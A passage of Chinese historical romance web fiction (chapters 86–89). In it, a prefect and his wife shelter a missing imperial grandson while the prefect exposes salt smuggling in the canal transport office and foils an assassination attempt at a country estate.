由此,燕培风也发现皇上留下的人手还不够周全。他走了,金陵知府和漕运那边才好有更多动作。 “若是金陵有行动,就让护卫护送你回去。”燕培风神色严肃。 燕培风如此认真,沈云楹随之慎重,“好。” 见沈云楹脸颊紧绷,全无方才的惬意,燕培风忙揽住人,轻松劝道:“只是我们的猜测罢了。”他和蒋宜都是一样的想法,这点就不用告诉沈云楹。 沈云楹点点头,进了山间官道,路上不如城镇内平坦,案几上的书本一抖一抖的,在燕培风再次拿起书本之前,沈云楹先按住他的手。 “摇摇晃晃的,容易看坏眼睛。” 沈云楹稍稍往外挪动一下,却纹丝不动,燕培风握住腰间的力道很紧。沈云楹不用抬头,就能看到刀削斧凿般的下颌线,燕培风为了更有威严,到了杭州后就有意蓄须。 嘴上没毛,办事不牢。 堂堂知府大人,要在压住经年同僚和老吏,还要让百姓更信任。燕培风头一件事竟然是蓄须。沈云楹想到就忍不住扬起唇角,千般本事,都不如一张威严的老脸。 此时,燕培风的下巴有一层黑色的,冒头不久的短须。摸上去刺手。 意识到自己在想什么,沈云楹面颊蹭的红了。 一抬眸,却碰上燕培风似笑非笑的眼神,沈云楹眼珠子一转,立即提议:“路上不看书,你换个法子松散。” 燕培风低低地反问一声,“是什么?” 沈云楹不答,只吩咐银筝,“使人去看看木娃怎么样?不晕车就带过来说说话。” 银筝正嫌坐车闷,闻言立即跳下马车,亲自去后面瞧木娃。 燕家有专供下人坐的马车,毕竟要走一天,需要休息。这次多了七个小孩子,沈云楹特意增加一辆马车。 七个孩子挤在一辆马车内,木娃是里头最小的,他此时心情起伏不定,犹豫纠结害怕纠缠在一起,无法决定 他害怕燕培风与那群水匪是一伙的,又抑制不住想去求助。木娃年纪虽小,但他知道燕培风与父亲不和,偏头叹口气,母亲的话似乎响在耳畔,燕培风是他的表叔,是长辈,会对他好。 就这样,一边是父亲,一边是母亲。 木娃整张脸都要打结一般,紧紧拧在一起。他握起小拳头,母亲比父亲更可信。 七个孩子里面最大的虎子,一路都不敢放松心弦,有主家罩着的日子真好,他害怕被人丢下。虎子习惯照顾底下的弟弟们,也是头一个留意到木娃的不对劲。 “怎么了?”虎子弯腰,小声地关心木娃。 可是木娃不能说,抿着唇摇头。 虎子以己度人,安慰道:“你别害怕。我们继续当乞儿更难受。你以前是员外家的小少爷,现在不一样了,不要想那么多。” “我们把你从水里救上来,你就是我们的弟弟,哥哥们一定会保护你。” 木娃心中感动,想起这几个小乞丐拼命下水救他,还带着他讨饭,躲开坏人的追查,眼眶不禁开始泛红。 他不能这么跟着燕培风离开。去了杭州,母亲说不定就找不到他了! 这时,车外突然传来银筝的声音,“木娃,夫人喊你过去。” 木娃心口砰砰狂跳。 他低着头牵着银筝的手,一步一步往前头的马车走去。 沈云楹见木娃上来,柔声道:“你别害怕,路途无事,老爷想考考你的学问,等到了杭州,好给你们找私塾。” 面对沈云楹的狡黠,燕培风无奈笑笑,看着眼前的小孩儿,温声道:“三字经,千字文,幼学琼林,可都学过了?” 第86章 警戒 燕培风嗓音和木娃印象中一样, 清越如风,闻者舒心。 木娃才四岁,能强撑着和虎子一群乞儿讨饭两日, 已经是非常坚强。他刚做好与燕培风坦白的心理准备,这会儿一听燕培风关心他的启蒙, 心一横, 抬起头来, 一双乌溜溜的眼睛满是泪水,带着脆生生的泣音:“表叔!” 一声表叔, 宛如惊雷响在车厢。 沈云楹脸上的笑容顿住,思绪犹如一团浆糊,这是燕家的亲戚?是哪家的?今年过年走了一圈亲戚,她都没见过木娃啊? 沈云楹扭头去看燕培风, 只见他满目震惊,俯身一把抱起木娃,尤不敢置信地唤道:“沐廷?” 木娃, 真名李沐廷,一捕捉到燕培风眼里的关心就再忍不住, 哇的一声大哭起来。 孩子的眼泪鼻涕都洒在燕培风的肩膀,月白色的衣裳瞬间湿润一片。 燕培风长眉微蹙, 又不忍在此时责备小孩儿,回忆着哄孩子的正确姿势,抬手在他后背轻拍两下,温声道:“莫哭了,不是早早喊话你长大了么?不是三岁小儿了。” 李沐廷有些不好意思,从燕培风的肩膀上抬起头,两眼哭得通红, 鼻头也泛着红晕。他想止住哭泣,奈何没有经验,一下子哭得太过用力,这会儿收不回来,一抽一抽的,看起来更加可怜。 “喝杯水。”沈云楹给小孩递去一杯温水,她知道这位是谁了。小皇孙李沐廷,二皇子与二皇子妃的嫡长子。 沈云楹与二皇子妃都不是长袖善舞的人,鲜少参加各家宴席。除夕年宴那晚,沈云楹应该能见到皇家所有人的。不巧李沐廷着了凉,没去。所以,沈云楹才没认出李沐廷。 看着李沐廷一口一口地喝水,沈云楹想起李沐廷是以乞丐的身份进入蒋家,最后阴差阳错来到自己身边,这其中不知吃了多少苦,立即对这个孩子充满同情。 等过半晌,李沐廷终于平复心情,燕培风拎着他坐到身边,开口询问李沐廷为何出现在金陵,还沦落到当乞儿。 李沐廷是个聪明的小孩,将路上的遭遇跟燕培风复述一遍。 原来今年是二皇子妃顾□□的父母七周年祭日,按照当地习俗,要求子女亲自办一场法事。顾家儿郎全都为朝廷战死,只能由顾□□亲自操办。 顾□□拗不过儿子的哀求,加上二皇子偏宠钱侧妃,她也担心儿子独自留京不安全,干脆带着儿子一起回乡。做决定前,顾□□还特意征求过皇上和皇后的同意。 顾□□与李沐廷乘坐的官船快到金陵地界时候,突遭水匪,对方来势汹汹。官船的护卫有限,顾□□将李沐廷托付给心腹护卫,先行离开。幸好顾□□将门虎女,身上功夫不弱,能够留下抵挡一阵,并成功逃脱。 李沐廷跟着护卫坐小船,后面跟着追兵。最后他们虽然甩脱水匪,但是护卫身受重伤,硬撑着把李沐廷推到岸边,便倒落水中。 李沐廷哽咽着说:“我伸手去救王叔,可是力气小,反而被拉下水。最后是虎子他们救了我。” 接着就是当乞丐的经历,李沐廷吃不下馊馒头,饿了一整天,幸好蒋家在施粥的消息传开,虎子就带着一群乞儿去领。 随着李沐廷的叙述,燕培风的眉宇就没松散开,他此时又惊有怒,漕运的人当真一手遮天。难怪他们将事情捂得紧紧的,涉及二皇子妃与小皇孙,走漏一丝风声,就能在江南惊起轩然大波。 这两日金陵外松内紧,衙役捕快上街巡逻的频次增高,看来金陵知府昌松平也掺了一手。 李沐廷看看沈云楹,又看看燕培风,小声央求:“表叔,你能不能帮我去找母妃?” 燕培风目光森冷,现在二皇子妃下落不明。而在幕后之人眼中,二皇子妃和小皇孙都下落不明。 燕培风机警地意识到这个是绝佳的机会,揭开漕运的口子,打击私盐的好时机。 他陷入沉思,没能及时回答李沐廷。 沈云楹瞧着李沐廷对母亲满满的担忧和期盼,伸手推了一下燕培风,“二皇子妃还没有消息,水匪会不会追上岸?”她没提杀人二字,却明晃晃写在眼神里。 皇子妃带着皇孙出行,侍卫护卫一大堆,还坐着官船。水匪眼睛多利,还敢去袭击,绝对是冲着他们去的。 燕培风颔首,低头对李沐廷道:“我会尽力。” “现在表叔有话嘱咐你。”燕培风将钱兴斌与钱侧妃等人的名字咽下,金陵知府既是钱兴斌的门生,暗地里还是三皇子的亲舅舅,一定不会放弃抓李沐廷。 “你年幼但聪慧,肯定知道外面坏人在找你,才躲在虎子一群孩子堆里是不是?” 李沐廷嗯嗯点头。 燕培风继续道:“我现在要回金陵,会尽量找到二皇子妃。”见李沐廷双眼发亮,满脸兴奋,燕培风镇定打击,“但是你不能跟着我去,你要跟着表婶,继续躲起来。” 沈云楹凝眉思索,担心问:“杭州安全吗?” 初来乍到,燕培风还没站稳脚跟,她也没有。 燕培风直接道:“那就换个地方。” 沈云楹立即有了新主意,“外祖父给了我一个小庄子,就在前边了。” 庄子在金陵与杭州的交界处,山清水秀,土地肥沃,是个好地方。 燕培风颔首赞同,李沐廷非常想回金陵寻母,但是不敢闹腾。他亲眼见过燕培风堵得二皇子说不出话,李沐廷随爹,也有些怵燕培风。 燕培风刚交代完去庄子的事宜,前面忽然传来阵阵马蹄声。沈云楹紧张地看向燕培风。 思齐打马过去又回来,停在车窗外,“老爷,夫人,石同知来了。” 燕培风撩起衣摆下马车,石光敏一路快步,正好来到车驾前。他一看到燕培风,绷着脸上前,拱手道:“燕大人,出大事了!” 燕培风拿不准石光敏说的是什么事,皱眉回道:“何事?我怎没收到风声。” “你在路上,衙门的急报还没送来,下官这才急急赶着告知您。” 石光敏擦了擦不存在的汗水,低声中带着一股雀跃,“听说二皇子妃在水上遇袭,人就带着顾家的家将,”意识到不对,忙换一个称呼,“佃户,打上金陵知府和漕运衙门,要求严惩水匪!” 见燕培风不似知道内情的样子,石光敏赶紧抛出自己的目的,“这里头最要紧的是,皇长孙不见了!” 燕培风嗤笑一声,“石大人消息不对吧?皇长孙身边的侍卫比二皇子妃还多,怎会出事?” “诶哟,这谁说的清楚。下官们都猜不是拐子就是水匪做的。”说着,石光敏眼眸一闪,蛊惑道:“燕大人您说,咱们要不要去立一份功劳?” 燕培风理了理袖口,淡定道:“事关漕运,本官岂能置之不理?” 火热灼目的凤眸却泄露出他的心思,送上门的功劳,谁会不要? 石光敏暗道贪功就好,忙提议,“这一路,咱们凡是遇到孩子,都应该好好看看。” 燕培风无可无不可地点头,转身登上马车,朗声吩咐:“掉头,回金陵!” 车厢内却响起沈云楹气愤的反对声,“赶了大半天的路,我要歇息!不准走!” “你是杭州知府,人家金陵有知府,你说的话管用吗你就去?” 燕培风压着声音,“妇人之见!” “沐廷是我表侄,他失踪了,我去寻人,合理正当!就是皇上知道了,也只有夸的份。” 燕培风面容平静如湖,嘴上吐出来的话却带着怒气,沈云楹看得惊奇,这也行? 刚踏入车厢,燕培风就眼神示意沈云楹反对,沈云楹明白他的意思,寻个由头发脾气分开走。 沈云楹一拍桌子,“哼,你这么着急,是为了你表侄,还是为了别的?别以为我不知道你在金陵偶遇多少美人儿!” 燕培风一怔,压住笑意,一甩袖,“无理取闹!” 燕培风跳下车,怒声吩咐思齐,“马呢?” 等马一牵过来,翻身而上,不再理会沈云楹,打马就走。石光敏看得一愣一愣,这怎么就闹起来了。燕培风与沈云楹不是夫妻恩爱? 燕培风觑石光敏的神色,冷声道:“皇长孙在漕运出事,我们还能落着好?” 石光敏心头一凛,还是辩解道:“还没到金陵地界呢。”别的地方漕运可不关杭州府的事。 燕培风领着一队人返回金陵,沈云楹赌气要回杭州,双方各走一边。 石光敏仔细扫过车队,没看到什么可疑的人。后面的仆从马车就是从蒋家接手的那几个乞丐,打理过也透着一股脏气。 他多看一眼都嫌弃。 一个时辰后,沈云楹终于来到蒋宜赠予的小庄子。 这里只有五家佃户,人不多,但看着都挺老实。沈云楹没见人,只吩咐银筝去嘱咐一声换东家了,并给他们发一个月赏钱。 留给主家住的是三进宅子,沈云楹住正屋,让李沐廷住东厢,还拨了银屏去照看他。 刚安顿好,红叶便领着护卫巡逻一圈,更要日夜排班保持警戒。 用过晚膳,已是月上枝头,沈云楹站在廊下,抬头望月。 红叶正色禀报:“夫人,巡逻过了,前后两家庄子是书院先生的,都是本分的佃农。没有可疑之处。”又叙述一遍如何安排人手守夜巡逻。 沈云楹颔首,“人手够吗?” 红叶想了想,“如果对手人不多,够了。” 沈云楹松口气,那就是没问题了吧?本来是要悄悄来这个庄子,但遇到石光敏,特意吵了一架。希望能瞒过追踪的人。 第87章 时运 金陵。 此时分明已日落西山, 金陵知府昌松平却如置身正午之下,热得浑身冒汗,他在府衙后院来回踱步, 浓眉拧得死紧。 昌松平用力一拍桌子,恼恨出声, “连个女人和孩子都杀不了, 还得我给他们收拾烂摊子!” 若是他参与计划, 绝不会有现在进退两难的局面。昌松平一想到自己错失一个除掉顾□□和李沐廷,拿捏二皇子和钱兴斌的机会, 便满心可惜。 昌松平顶着钱兴斌门生的名头,半只脚站到二皇子阵营,到底不是心腹。那边的人动完手,才来找昌松平抹干净首尾。哪里料到计划失败, 二皇子妃顾□□和李沐廷都不知所踪。 饶是再气,昌松平还是选择纵容,私下放开手脚让漕运和水匪暗暗搜查。 岂料, 这些人如此不中用! 现在二皇子妃顾□□带着顾家庄子上那帮缺胳膊瘸腿的老兵围在门口。昌松平心知自己得尽快做出决策。 管家又一次急匆匆来催,“老爷, 二皇子妃说您再不出去,她就要闯进来了。” 昌松平闭眼复睁开, 快步出门,脸上神情逐渐转为焦急担忧,“下官参见二皇子妃!还请娘娘恕罪!” 昌松平的态度摆的低,二皇子还未封王,顾□□严格来说不能称一声娘娘。 顾□□心内冷笑,面上不露,只正色道:“昌大人, 我来报官,你接案吧!” “不敢,不敢,若有用得上下官的地方,娘娘吩咐一句即可。”昌松平弯腰迎顾□□进去。 顾□□昂首大步,领着一群牛高马大的老兵利索有序来到官衙后院,哪怕当了多年佃户,这群人气势依然稳压衙役捕快。 腰侧的伤口还在隐隐作痛,顾□□强忍着,希望通过官府的人,早点找到儿子。 顾□□从水匪手上逃脱,身中数道剑伤,她第一时间去约定地点找儿子,谁知只从水里捞出昏迷的侍卫。等侍卫醒来,确定李沐廷被送上岸,可是找遍周边也没找到人。 顾□□当机立断,一边留下人手寻人,自己亲去庄子带足人手。金陵知府与钱侧妃娘家沾亲带故,顾□□不敢将所有希望放到他身上。 长时间的奔波和心焦让顾□□面容愈发苍白,此时她非常庆幸对儿子悉心教导。因着钱侧妃得宠,恃宠生娇的事情没少做,顾□□从不瞒着李沐廷,还借此告诉他不少道理。 但是想到四岁小儿独自在外,顾□□又镇定不下来。 顾□□不想示弱,更没精力与昌松平周旋,开门见山道:“我回乡祭拜父母,父皇与母后慈爱,拨下一队侍卫护送。谁想还是遇到水匪,我已经去信京城禀明父皇,就是把金陵掘地三尺,也要找出皇长孙!” “昌大人,你是金陵父母官,还得麻烦你派人找回皇长孙。” 昌松平听出顾□□暗含的警告,连连点头道:“本官这就下令封关城门,细细查找金陵所有的孩子。” 顾□□点头,她也领着人出去找,这时候实在待不住。 然而,府城的官兵尽数出动,仍一无所获。顾□□垂头丧气地回到府衙,金陵与京城相隔千里,信件往来不便,就是想找人拿主意都找不到帮手。 月上中天,顾□□不想停下休息,她打算再去一趟救起侍卫的地方,那里毗邻繁华热闹的码头,不应该一丝消息都没有。顾□□不死心,想再去看看有没有李沐廷的踪迹。 贴身丫鬟道:“夫人,那儿排查好几遍了。眼下更深露重,您又快两日没阖眼,还是早些歇下,明日才有精神继续找小皇孙啊。” 顾□□叹气,摇头道:“我哪儿睡得着,不知廷儿如今怎么样了。” “皇孙吉人自有天相,一定会平安无事的。”丫鬟真心期盼李沐廷无事,不然二皇子府正院的日子可怎么过。 顾□□反反复复思索出现过的人,喝下一大杯浓茶醒神,就怕错过什么线索。 墙边忽然传出动静,一支利箭破空射中廊柱,箭头钉着一张纸。 顾□□眼神一厉,迅速拆下,一目十行看过,又仔仔细细重头再一遍,顾□□紧绷的神情瞬间松散开来。 丫鬟提着心,“夫人?” 顾□□三两下折成圈,放到烛火边,一燃而尽。她冷声道:“休想威胁我。” 顾□□暗道,险些忘了燕培风是杭州知府,离金陵近,真是老天保佑,廷儿遇到了燕培风。 燕培风说廷儿交给他夫人照看,如今很安全。他需要自己配合查水匪和漕运。顾□□相信燕培风的人品,但没亲眼看到儿子,总是惦记,便想着明日见到燕培风问问能不能把廷儿的奶嬷嬷送去照顾,她也能安心些。 翌日天还没亮,昌松平就收到城门口传来的消息,杭州知府燕培风与通判石光敏进城了,脸色登时冷下来。 燕培风现身府衙,昌松平扬起一抹笑,“燕大人,府试在即,你还逗留在金陵,怕贡院外的学子都在殷切期盼你回杭州。” 燕培风温和一笑,“杭州府的事不劳昌大人操心。本官正好在巡视漕运,听闻皇长孙失踪,我是他表叔,如何放心得下?故而特赶来尽绵薄之力。” 两人言语交锋间,走在后面的石光敏匆匆与昌松平对视一眼,又与一样落在后面的漕运主事魏长阳轻声交流。 府衙庭院里,顾□□早早带着等候在此,一见燕培风便喊道:“表弟!” 燕培风微微拱手,“二表嫂。” 这厢叙家礼,人家又是实在亲戚。昌松平忽然有种失控的感觉,非常想驱赶燕培风出金陵地界。 燕培风问起昨日搜寻的经过和结果,得知在金陵地面上毫无踪迹,凝眉问道:“会不会落在水匪手里?” 漕运主事魏长阳心惊胆战,立马否认,“不可能!” 见众人视线都聚集过来,魏长阳脸色讪讪道:“我们一收到消息就在码头搜查,水匪上岸都困难。而且,每年这时候码头最严,来往的船只无不适登记在册的。” 每逢上官巡视,就是漕运和码头最严格的时候。 顾□□不赞同,“不怕一万,就怕万一,还是查一查。表弟,劳你辛苦一趟,等寻回廷儿,嫂子感激不尽。” 二皇子妃这么说,在场众人不好再反驳。于是,各自吩咐人手重新开始寻人。 以寻皇长孙的名义,燕培风迅速布局搜查漕运,剑指私盐运输,果然来了个人赃俱获。 望着堆满船舱的麻袋,雪白的盐微微渗出,左文景兴奋道:“时运来了挡都挡住不住!” 燕培风按照口供取出一个盒子,里面是一本账册,记录这船私盐的去处。 燕培风扬起唇角,“总算有点收获。” 本来要花一两年找证据,还要防着四海帮那群水匪,这些水匪不一般,与盐商、漕运都有合作,专门干暗地里的活计。 现在直接撕开一个口子,追根溯源,盐税有望革新。 燕培风这边急报京城,他要把盐税的事由暗转明,顺便问问皇上要钦差,共同肃清盐税和漕运。 找皇长孙,误打误撞查到私盐的消息立即传到所有人的耳中。燕培风趁机将金陵漕运掀了个底朝天。 魏长阳日日苦着脸向昌松平问对策,又跟石光敏求情,好在燕培风面前说说好话,保住自己的位置。 —— 金陵官服热火朝天的整治漕运,查收一大船私盐的消息随着百姓口口相传来到庄子。 随之而来的,还有燕培风送来的十名暗卫。 来到庄子五天了,沈云楹从开始的担忧到镇定,带着李沐廷解九连环。 这日李沐廷不肯再碰九连环,看到沈云楹拼好的那幅海外码头街景木片拼图,看得目不转睛,惊叹道:“表婶,这是哪儿啊?我们坐船去看稀奇!” 沈云楹摇头,“不知是海外哪个朝廷。画上没写。” 她看过几本海外游记,但是里面朝廷的名字又长又拗口,没有提到这幅画的。 李沐廷想了想就道:“等回京城问问皇祖父,他肯定知道!”孩子四岁,身边所有人都说皇上圣明,天底下的事都能知道。 沈云楹哑然,这也行吧。反正皇上能应付他孙子。 外头银筝笑着小跑进屋,“夫人,有老爷的消息。”便将漕运、私盐等事说了一遍。 沈云楹和李沐廷的笑容还没下去,红叶又进来凑在沈云楹耳边低声说了暗卫的事。 沈云楹心头狂跳,燕培风动作那么又快又重,是怕水匪寻摸到这里报复?眸光看到李沐廷,还有为了李沐廷的安危。 沈云楹平静道:“你看着安排就行。我和沐廷就在待在主屋,哪儿也不去。” 红叶应声是,这样就降低护卫的难度。 “还有一件事,”红叶这次没有压低声音,望着李沐廷道:“二皇子妃不放心皇长孙,暗卫护送了奶嬷嬷来照顾他。” 李沐廷双眸发亮,惊喜问红叶:“嬷嬷来了吗?在哪儿?” 沈云楹便让红叶带着李沐廷去见奶嬷嬷,这孩子一直想知道二皇子妃的消息。 等人都走了,沈云楹不由叹气,拆开拼图重新装进盒子里,动作很慢,整个人都心不在焉。 银筝抿唇,这几日沈云楹都没睡好,往常不出门她都不会抹脂粉,今儿抹了一层在眼下。 “夫人,你在担心老爷吗?”银筝见沈云楹掰错一个木片,不由问出声。 沈云楹刚安稳下的一颗心又被突然变化的金陵时局惊起,燕培风如此高调,她能不怕吗? 她既担心庄子的安全,也担忧燕培风身边保护人手不够。 沈云楹心神不宁地点点头。 第88章 刺杀 沈云楹是整个庄子的主心骨, 下人和佃户都看着自己,她必须稳得住。罢了,与其忧虑未来, 不如活在当下。 沈云楹的纠结只有一会儿,转头嘱咐银筝, “你去同银屏说, 她这几日辛苦。既然木娃的奶嬷嬷来了, 可以歇一歇。对了,木娃刚病愈的事, 也跟她说一声,她照顾孩子有经验。” 李沐廷年纪小,刚经历过磨难,到庄子的当天夜里就有些发热, 幸好她们随行备着王大夫亲制的药丸,躺床休息两日,李沐廷便躺不住, 总是跑来沈云楹这儿玩耍。 沈云楹主仆都没有养过孩子,看李沐廷生龙活虎的就放心了。这时候奶嬷嬷过来照顾, 她们都暗暗松口气。 然而,这口气松得太早了。 庄子后院栽种一片绣球, 球苞初显,淡绿浅粉,煞是好看。白瓷碟摆着佃的孝敬,是从山上摘下来的覆盆子,酸甜可口。 沈云楹之前担心李沐廷,陪着他打发时间。现在人一走,她偷半日闲, 赏花吃果,听听庄子上的事情。 银筝:“四月青黄不接,陈粮快见底,新粮还没割。佃户们都感激您给了赏钱呢。” “这边的管理法子和咱们是一样的。不过,这边几个庄子合在一起办了一家私塾,佃户们千恩万谢,主家给了他们识字的机会。” 沈云楹净手擦干,覆盆子红彤彤的,清水染上一层浅浅的殷红。 “嗯,我不会撤去私塾,不用担心换东家就没学可上。”沈云楹给出承诺。 银筝嘴甜:“夫人菩萨心肠。” 两人相视而笑,银屏疾步而来,难得在脸上露出苦恼和无奈的神色,欲言又止地看向沈云楹。 今儿银屏不应该高兴吗?沈云楹不解,“你怎么来啦?木娃那儿不用你伺候了?” 银屏压着声音,“夫人,林嬷嬷不让喊木娃,说咱们僭越。”奶嬷嬷姓林,底下人都叫林嬷嬷。 沈云楹笑了,纯属没事找事啊。 “这不是为了保护皇长孙吗?早说好了,先这么叫着,等事情过去再改。” 沈云楹凝眉冷声问:“林嬷嬷故意刁难?” 银屏没好气道:“称呼还是小事。方才当着奴婢的面,又是挑剔床单被褥刺人,要换成蜀锦的,又是嫌弃屋子里暗,要换软烟罗糊窗户。” “就这么抬着头,”银屏气呼呼地昂头,学着林嬷嬷的样子,“这就是皇长孙的体面。还说,只是别院的规格,比皇子府里差远了。” 沈云楹深吸口气,“我记得二皇子妃人挺和善的?”她仔细回忆在坤宁宫与顾□□的寥寥两次见面,私底下这么放纵奴才吗? 对上银屏一言难尽的眼神,想想银屏忽然过来,沈云楹无语反问:“她催你过来要东西?” 银屏重重点头。 沈云楹撇撇嘴,直接了当回答:“没有。” “我们出门探亲,带的东西就这么多。一时半会儿的,能去哪儿置办?” 能给到李沐廷的配置已经是最好的了。 银屏回道:“奴婢也是这么回的。” 趁着李沐廷和林嬷嬷叙话的功夫,银屏寻来跟沈云楹说一说林嬷嬷的性子,心中有数。 沈云楹垂下眼眸,观燕培风速战速决的行事,她宽慰道:“再等几日,皇长孙应该待不了多久。”给银屏定心丸,“要是过分,你就推到我这里,不用管她。” 二皇子府的奴才,沈云楹没心思帮人管。 “你一笔一笔记下来,等二皇子妃来了就送过去。”这亏不能白忍。 “诶,奴婢晓得。”银屏浅笑福身。 有银屏挡着,林嬷嬷没闹到沈云楹跟前,等到晚膳时分,沈云楹回到正屋时,听说林嬷嬷去灶房盯着人做饭给李沐廷,沈云楹看着餐桌上的春笋步鱼、螺蛳韭菜、荠菜炒年糕、莼菜鸡丝汤、蚕豆烩火腿、艾草青团,最后是乌米饭。 胜在新鲜野趣又应时。 沈云楹对林嬷嬷无话可说,这么丰盛的菜式,还挑什么,山间庄子,还想要燕窝熊掌不成? 银屏接着道:“今日东厢房真真是鸡飞狗跳。”就是在太师府,也没见过这么热闹的场面啊,仿佛李沐廷睡了五天的屋子不是给人住的。 沈云楹揉了揉额角,“这么下去不行。你去敲打一下林嬷嬷,再闹腾就送她走。” “去东厢房问问木娃,要不要过来吃饭?” 银屏领命而去,没一会儿就有丫鬟来报,林嬷嬷弄了蛋羹,木娃留在东厢房吃。 沈云楹摆摆手,各吃各的吧。 许是银屏的敲打奏效,接下来两日林嬷嬷安分许多,没再闹着要这换那,窝在东厢房一心伺候李沐廷。 这天夜里,云层堆叠,月光稀疏,里间熟睡的沈云楹忽然被银筝摇醒,急促道:“夫人快醒醒,有刺客!” 沈云楹猛地睁眼,忙起身穿衣,急急地问:“外面怎么样?能挡得住吗?” 快速挽起一个发髻,沈云楹衣着整齐走到堂屋,红叶疾步来报:“夫人,外面来攻的人应该是水匪。” 见屋内众人惊疑,红叶解释:“水匪的武器很好认,刚刚一交手,就露出了分水刀和三股叉。” 银筝一跺脚,“哎呀,管来的是谁,你们能不能挡住他们啊?” 红叶信心十足,“当然,我们可是身经百战练出来的。” 闻言,沈云楹提着的心落地,扭头环顾四周,凝眉问:“木娃呢?” 门外响起一道尖利的声音,“难为燕夫人想着我们皇长孙。” 林嬷嬷约莫三十出头,头上发髻松散,斜插着一根羊脂白玉簪,紧紧牵着李沐廷的小手,神色不善地走进屋。 沈云楹懒得理会她,低头仔细打量李沐廷,见他还算镇定,并不害怕,心下稍安。 “木娃,”沈云楹柔声唤他,“你就在这里坐着,庄子里的护卫武功高强,一定会保护好你。” 李沐廷迈着小短腿,手掌按住桃木椅托,一下就坐进椅子,对沈云楹笑出小虎牙,“好,表婶,我不会乱跑的。” 沈云楹刚要转身去主位坐,就被林嬷嬷拦住,“燕夫人,事情紧急,奴婢想和您退一步说话。” 沈云楹冷下脸,“林嬷嬷有事不妨直言,这里没有外人。” 林嬷嬷想给沈云楹面子,谁知她不要,当下就说道:“燕夫人,皇长孙身份贵重,匪徒来势汹汹,护卫能不能挡住还未可知。不如您独自留在堂屋,奴婢带着皇长孙寻个暗处躲起来。这才是上策。” 红叶轻哼一声,“我们的人团团围住堂屋,你想带木娃去哪儿呢?万一出了事,算你的?” 林嬷嬷却顺着提要求,“自然是另派一队人来保护皇长孙。” 林嬷嬷的真实意图没说出口,但在场的人都明白了。无非就是要沈云楹当靶子,最大程度保护李沐廷的安危。 可惜,一来沈云楹不是那等无私奉献之人,二来宅子很小,就这么几间屋,无处可藏。 沈云楹直接略过林嬷嬷,看向李沐廷,“我们人数并不占上风,如果还要分散人手,很可能两头空。” 李沐廷心里更认同沈云楹的做法,可也重视奶嬷嬷,他小心翼翼地觑一眼沈云楹,肯定道:“我听表婶的。” 沈云楹压根不把她放在眼里,而自己的主子李沐廷也倒向沈云楹,林嬷嬷瞪一眼红叶和银筝,走到李沐廷身后。 堂屋逐渐安静,隐约能听到宅外刺耳的拼杀声,仿佛过了许久,外面逐渐没了打杀声。 接着又有疾迅的马蹄声,黑夜寂静,衬得每一步都踏在耳畔。 一名护卫冲进庭院,“夫人,是杭州衙门的人来了。” 沈云楹双眸一亮,喜得站起身,等不及人进来,直奔门口去迎。 红叶要寸步不离保护沈云楹,头一个跟上去,银筝与银屏对视一眼,得知老爷来了夫人太高兴了吧! 所有人都出去,林嬷嬷也拉着李沐廷要一块儿出去。 沈云楹兴冲冲来到门外,策马而来的人正好停下,沈云楹高高扬起的唇角僵住,脱口而出的燕培风三个字,来不及改口。 “燕夫人,”石光敏见到沈云楹,晦暗的眼眸闪过一丝笑意,翻身下马,“燕大人担心您的安危,特令下官来保护。” 当着这么多人的面叫出燕培风的名字,沈云楹此时羞赧又尴尬,真是太冲动了。 听了石光敏的话,沈云楹心间浮起疑惑,燕培风这么快就收服石同知了?她朝后看看穿着衙役服侍的带刀随从,猜测是金陵时候的事,自己还没得到消息。 石光敏含笑走近。 庄子里消息闭塞,沈云楹非常想知道金陵的详情,石光敏来得正是时候。 事情转变就在一瞬间,沈云楹一行人毫无防备,一道银光照亮弯起的檐角,沈云楹吓得屏住呼吸,脑子想着躲避,奈何身体跟不上,直愣愣地看着锐利的剑尖直戳面门。 红叶反应不慢,立即扑倒沈云楹,企图躲过利剑。然而以她的眼力,自己得挨这一剑。 千钧一发之际,一道寒光生生打歪剑锋,石光敏武力粗疏,被带的踉跄两步,险些站不稳。 燕培风缓缓放下弓箭,满身风霜,乌云散去,清冷的月光洒下,更添增几分冷意。他勒马前进,眼神如刀,紧紧钉死石光敏。 “石光敏,挣扎无用。” “老夫棋差一着,落入你手里。”石光敏两眼全是浓浓的不甘愤恨,就差一点,他就能杀了沈云楹。 石光敏余光瞥见站在门扉处的小孩儿,那就是皇长孙了。他回头看燕培风,这个男人表面温润谦和,内里够狠。 皇长孙说藏就藏,盐税也敢掀开口子严查。 石光敏看看毫发无伤的沈云楹,而自己带来的人已被庄子护卫打趴下。 石光敏讥笑两声,指着燕培风道:“我的今日不过是你的明日。盐税牵涉多少人,你才入官场多久,误打误撞还不知收敛。” “我在地下等你。” 见事不可为,石光敏不再挣扎,用刺杀的剑利落抹了脖子。 沈云楹吓得连连后退,这,就这么死了?接连受到惊吓,沈云楹身子发软,不觉用力抓紧红叶的手臂,撑着不倒下。 燕培风冷眼看着这一幕,心如磐石。为官者,当为民请命争利。他与石光敏之流的立场不同。 燕培风转身,目光从沈云楹修长颤抖的指尖扫过,大步往前,厚实的手掌揽住沈云楹的腰肢,将人半搂半饱着进屋。 一回到堂屋,沈云楹理智回笼,伸手推开燕培风,整色道:“幸亏你来得及时。” 想想刚刚的惊险的一幕,沈云楹仍然心有余悸。 燕培风的手再次覆上去,不容拒绝,沉声道:“也是我拖累了你。” 他细细打量沈云楹的神色,难道之前是错觉?沈云楹还没有开窍? 沈云楹摇摇头,“话不能这么说。”他触碰的腰侧有些发痒。 两人刚说两句,李沐廷就小跑着进来,“表叔!我娘来了吗?” 他刚刚在门外看了一圈,没看到顾□□。李沐廷真的很想念他娘。 第89章 油嘴滑舌 “二皇子妃还在金陵, 她会去杭州。”燕培风深吸口气坐下,沉声道:“明日,你跟着我们回杭州。” 李沐廷失望地低下头, 他娘真的没来,“好吧。” 站在门口的林嬷嬷脸色苍白, 刚刚门口的惊险一幕, 燕培风分明是文官, 却宛如一个煞神,比二皇子还要凶蛮。 林嬷嬷深怕燕培风稍有不如意就要拿李沐廷开刀, 三两步上前,“小主子,奴婢带您回去吧。” 沈云楹忽然出声,“银屏, 记得送一份安神汤过去。” 银屏郑重应下,幼童梦魇,最容易出事。李沐廷又才病过一场, 别被今晚吓住了。 可惜庄子里没有大夫。 正想着,银屏一转身就看到王大夫就怒气冲冲地闯进来。 沈云楹杏眸圆睁, 有些发愣,与王大夫熟识后就知道他平日里修身养性, 轻易不会动怒。谁惹恼他了? 王大夫吹胡子瞪眼,怒喝道:“你不顾念身体,就别浪费我的好药!” 王大夫既心疼千金难得好金疮药,又气恼燕培风不爱惜身体。 